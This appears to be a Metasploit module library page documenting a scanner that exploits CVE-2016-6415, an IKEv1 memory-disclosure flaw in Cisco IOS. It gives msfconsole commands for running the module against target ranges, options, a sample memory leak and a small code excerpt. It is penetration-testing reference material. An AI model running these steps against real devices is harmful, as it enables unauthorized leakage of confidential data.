Cisco IKE Information Disclosure - Metasploit
This page contains detailed information about how to use the auxiliary/scanner/ike/cisco_ike_benigncertain metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Cisco IKE Information Disclosure
Module: auxiliary/scanner/ike/cisco_ike_benigncertain
Source code: modules/auxiliary/scanner/ike/cisco_ike_benigncertain.rb
Disclosure date: 2016-09-29
Last modification time: 2022-01-23 15:28:32 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: -
Target network port(s): 500
List of CVEs: CVE-2016-6415
A vulnerability in Internet Key Exchange version 1 (IKEv1) packet processing code in Cisco IOS, Cisco IOS XE, and Cisco IOS XR Software could allow an unauthenticated, remote attacker to retrieve memory contents, which could lead to the disclosure of confidential information. The vulnerability is due to insufficient condition checks in the part of the code that handles IKEv1 security negotiation requests. An attacker could exploit this vulnerability by sending a crafted IKEv1 packet to an affected device configured to accept IKEv1 security negotiation requests. A successful exploit could allow the attacker to retrieve memory contents, which could lead to the disclosure of confidential information.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
This module is a scanner module, and is capable of testing against multiple hosts.
msf > use auxiliary/scanner/ike/cisco_ike_benigncertain
msf auxiliary(cisco_ike_benigncertain) > show options
... show and set options ...
msf auxiliary(cisco_ike_benigncertain) > set RHOSTS ip-range
msf auxiliary(cisco_ike_benigncertain) > exploit
Other examples of setting the RHOSTS option:
Example 1:
msf auxiliary(cisco_ike_benigncertain) > set RHOSTS 192.168.1.3-192.168.1.200
Example 2:
msf auxiliary(cisco_ike_benigncertain) > set RHOSTS 192.168.1.1/24
Example 3:
msf auxiliary(cisco_ike_benigncertain) > set RHOSTS file:/tmp/ip_list.txt
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
This module is for CVE-2016-6415, A vulnerability in Internet Key Exchange version 1 (IKEv1) packet processing code in Cisco IOS, Cisco IOS XE, and Cisco IOS XR Software could allow an unauthenticated, remote attacker to retrieve memory contents, which could lead to the disclosure of confidential information.
The vulnerability is due to insufficient condition checks in the part of the code that handles IKEv1 security negotiation requests. An attacker could exploit this vulnerability by sending a crafted IKEv1 packet to an affected device configured to accept IKEv1 security negotiation requests. A successful exploit could allow the attacker to retrieve memory contents, which could lead to the disclosure of confidential information.
Verification Steps
- Do:
use auxiliary/scanner/ike/cisco_ike_benigncertain
- Do:
set RHOSTS [IP]
- Do:
set RPORT [PORT]
- Do:
run
Scenarios
msf auxiliary(cisco_ike_benigncertain) > show options
Module options (auxiliary/scanner/ike/cisco_ike_benigncertain):
Name Current Setting Required Description
---- --------------- -------- -----------
PACKETFILE /opt/metasploit-framework/data/exploits/cve-2016-6415/sendpacket.raw yes The ISAKMP packet file
RHOSTS 192.168.1.2 yes The target address range or CIDR identifier
RPORT 500 yes The target port
THREADS 1 yes The number of concurrent threads
msf auxiliary(cisco_ike_benigncertain) > set verbose True
msf auxiliary(cisco_ike_benigncertain) > run
[*] Printable info leaked:
>5..).........9.................................................................x...D.#..............+#.........\.....?.L...l...........h.............#.....................l...\...........l.....X.................a.#...R....X.....y#.........x...@V$.\.............X.<....X................W....._y>..#t... .....H...X.....W.......................................>.$...........>5..).............................!.....:3.K......X.............xV4.xV4.xV4.......................................X...........X.:3.KxV4.xV4.................$...m;......xV4.xV4.xV4.xV4.xV4.xV4.xV4.xV4...........!.....<<<<........................................................................................................................................................<<<<....................$...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................<<<<1.......................................<<<<....9....... .......d....................Q..........<<<<....9....... ...............(............Q..........<<<<........................CI................................................................................ab_cdefg_pool...................................................................................................................................................................................ozhu7vp...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
[+] 192.168.1.2:500 - IKE response with leak
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
Go back to menu.
Msfconsole Usage
Here is how the scanner/ike/cisco_ike_benigncertain auxiliary module looks in the msfconsole:
msf6 > use auxiliary/scanner/ike/cisco_ike_benigncertain
msf6 auxiliary(scanner/ike/cisco_ike_benigncertain) > show info
Name: Cisco IKE Information Disclosure
Module: auxiliary/scanner/ike/cisco_ike_benigncertain
License: Metasploit Framework License (BSD)
Rank: Normal
Disclosed: 2016-09-29
Provided by:
Nixawk
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
PACKETFILE /opt/metasploit-framework/embedded/framework/data/exploits/cve-2016-6415/sendpacket.raw yes The ISAKMP packet file
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 500 yes The target port
THREADS 1 yes The number of concurrent threads (max one per host)
Description:
A vulnerability in Internet Key Exchange version 1 (IKEv1) packet
processing code in Cisco IOS, Cisco IOS XE, and Cisco IOS XR
Software could allow an unauthenticated, remote attacker to retrieve
memory contents, which could lead to the disclosure of confidential
information. The vulnerability is due to insufficient condition
checks in the part of the code that handles IKEv1 security
negotiation requests. An attacker could exploit this vulnerability
by sending a crafted IKEv1 packet to an affected device configured
to accept IKEv1 security negotiation requests. A successful exploit
could allow the attacker to retrieve memory contents, which could
lead to the disclosure of confidential information.
References:
https://nvd.nist.gov/vuln/detail/CVE-2016-6415
https://github.com/adamcaudill/EquationGroupLeak/tree/master/Firewall/TOOLS/BenignCertain/benigncertain-v1110
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20160916-ikev1
https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2016-6415
https://musalbas.com/2016/08/18/equation-group-benigncertain.html
Module Options
This is a complete list of options available in the scanner/ike/cisco_ike_benigncertain auxiliary module:
msf6 auxiliary(scanner/ike/cisco_ike_benigncertain) > show options
Module options (auxiliary/scanner/ike/cisco_ike_benigncertain):
Name Current Setting Required Description
---- --------------- -------- -----------
PACKETFILE /opt/metasploit-framework/embedded/framework/data/exploits/cve-2016-6415/sendpacket.raw yes The ISAKMP packet file
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 500 yes The target port
THREADS 1 yes The number of concurrent threads (max one per host)
Advanced Options
Here is a complete list of advanced options supported by the scanner/ike/cisco_ike_benigncertain auxiliary module:
msf6 auxiliary(scanner/ike/cisco_ike_benigncertain) > show advanced
Module advanced options (auxiliary/scanner/ike/cisco_ike_benigncertain):
Name Current Setting Required Description
---- --------------- -------- -----------
ShowProgress true yes Display progress messages during a scan
ShowProgressPercent 10 yes The interval in percent that progress should be shown
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Auxiliary Actions
This is a list of all auxiliary actions that the scanner/ike/cisco_ike_benigncertain module can do:
msf6 auxiliary(scanner/ike/cisco_ike_benigncertain) > show actions
Auxiliary actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the scanner/ike/cisco_ike_benigncertain auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 auxiliary(scanner/ike/cisco_ike_benigncertain) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
<PEER> - IKE response is same to payload data
Here is a relevant code snippet related to the "<PEER> - IKE response is same to payload data" error message:
85: # NETWORK may return the same packet data.
86: return if res.length < 2500
87: pkt_md5 = ::Rex::Text.md5(isakmp_pkt[isakmp_pkt.length-2500, isakmp_pkt.length])
88: res_md5 = ::Rex::Text.md5(res[res.length-2500, res.length])
89:
90: print_warning("#{peer} - IKE response is same to payload data") if pkt_md5 == res_md5
91: rescue
92: ensure
93: udp_sock.close
94: end
95: end
Go back to menu.
Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
References
- CVE-2016-6415
- https://github.com/adamcaudill/EquationGroupLeak/tree/master/Firewall/TOOLS/BenignCertain/benigncertain-v1110
- https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20160916-ikev1
- https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2016-6415
- https://musalbas.com/2016/08/18/equation-group-benigncertain.html
See Also
Check also the following modules related to this module:
- auxiliary/scanner/http/cisco_asa_asdm
- auxiliary/scanner/http/cisco_asa_asdm_bruteforce
- auxiliary/scanner/http/cisco_asa_clientless_vpn
- auxiliary/scanner/http/cisco_device_manager
- auxiliary/scanner/http/cisco_directory_traversal
- auxiliary/scanner/http/cisco_firepower_download
- auxiliary/scanner/http/cisco_firepower_login
- auxiliary/scanner/http/cisco_ios_auth_bypass
- auxiliary/scanner/http/cisco_ironport_enum
- auxiliary/scanner/http/cisco_nac_manager_traversal
- auxiliary/scanner/http/cisco_ssl_vpn
- auxiliary/scanner/http/cisco_ssl_vpn_priv_esc
- auxiliary/scanner/misc/cisco_smart_install
- auxiliary/scanner/snmp/cisco_config_tftp
- auxiliary/scanner/snmp/cisco_upload_file
- auxiliary/admin/http/cisco_7937g_ssh_privesc
- auxiliary/admin/networking/cisco_asa_extrabacon
- auxiliary/admin/networking/cisco_config
- auxiliary/admin/networking/cisco_dcnm_auth_bypass
- auxiliary/admin/networking/cisco_dcnm_download
- auxiliary/admin/networking/cisco_secure_acs_bypass
- auxiliary/admin/networking/cisco_vpn_3000_ftp_bypass
- auxiliary/dos/cisco/cisco_7937g_dos
- auxiliary/dos/cisco/cisco_7937g_dos_reboot
- auxiliary/gather/cisco_pvc2300_download_config
- auxiliary/gather/cisco_rv320_config
- auxiliary/voip/cisco_cucdm_call_forward
- auxiliary/voip/cisco_cucdm_speed_dials
- auxiliary/dos/cisco/ios_http_percentpercent
- auxiliary/dos/cisco/ios_telnet_rocem
- auxiliary/spoof/cisco/cdp
- auxiliary/spoof/cisco/dtp
Authors
- Nixawk
Version
This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.